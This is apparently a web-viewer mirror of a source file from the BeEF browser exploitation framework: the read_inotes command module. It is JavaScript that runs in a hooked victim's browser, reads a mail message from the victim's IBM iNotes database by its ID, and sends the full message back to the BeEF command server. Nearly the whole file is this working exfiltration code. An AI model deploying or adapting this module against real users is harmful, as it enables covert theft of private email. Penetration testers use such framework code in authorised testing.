Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/misc/ibm_inotes/read_inotes/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn [email protected]
3
//
4
// Licensed under the Apache License, Version 2.0 (the "License");
5
// you may not use this file except in compliance with the License.
6
// You may obtain a copy of the License at
7
//
8
// http://www.apache.org/licenses/LICENSE-2.0
9
//
10
// Unless required by applicable law or agreed to in writing, software
11
// distributed under the License is distributed on an "AS IS" BASIS,
12
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13
// See the License for the specific language governing permissions and
14
// limitations under the License.
15
//
16
beef.execute(function() {
17
var unid = '<%= @unid %>';
18
19
//get URL for this nsf databse
20
var currentURL = document.URL;
21
var rx = /(.*\.nsf)/g;
22
var arr = rx.exec(currentURL);
23
24
try {
25
var notesURL = arr[1];
26
27
var xhr = new XMLHttpRequest();
28
xhr.open('GET', notesURL+'/%28$All%29/'+unid+'?OpenDocument&Form=l_MailMessageHeader&PresetFields=FullMessage;1', true);
29
xhr.onreadystatechange = function () {
30
if (xhr.readyState == 4 && xhr.status == 200) {
31
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+xhr.response);
32
}
33
}
34
xhr.send(null);
35
} catch(e) {
36
beef.debug("Error: " + e);
37
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Read iNotes Error: "+e);
38
}
39
40
});
41
42
43
44
45
46
47
48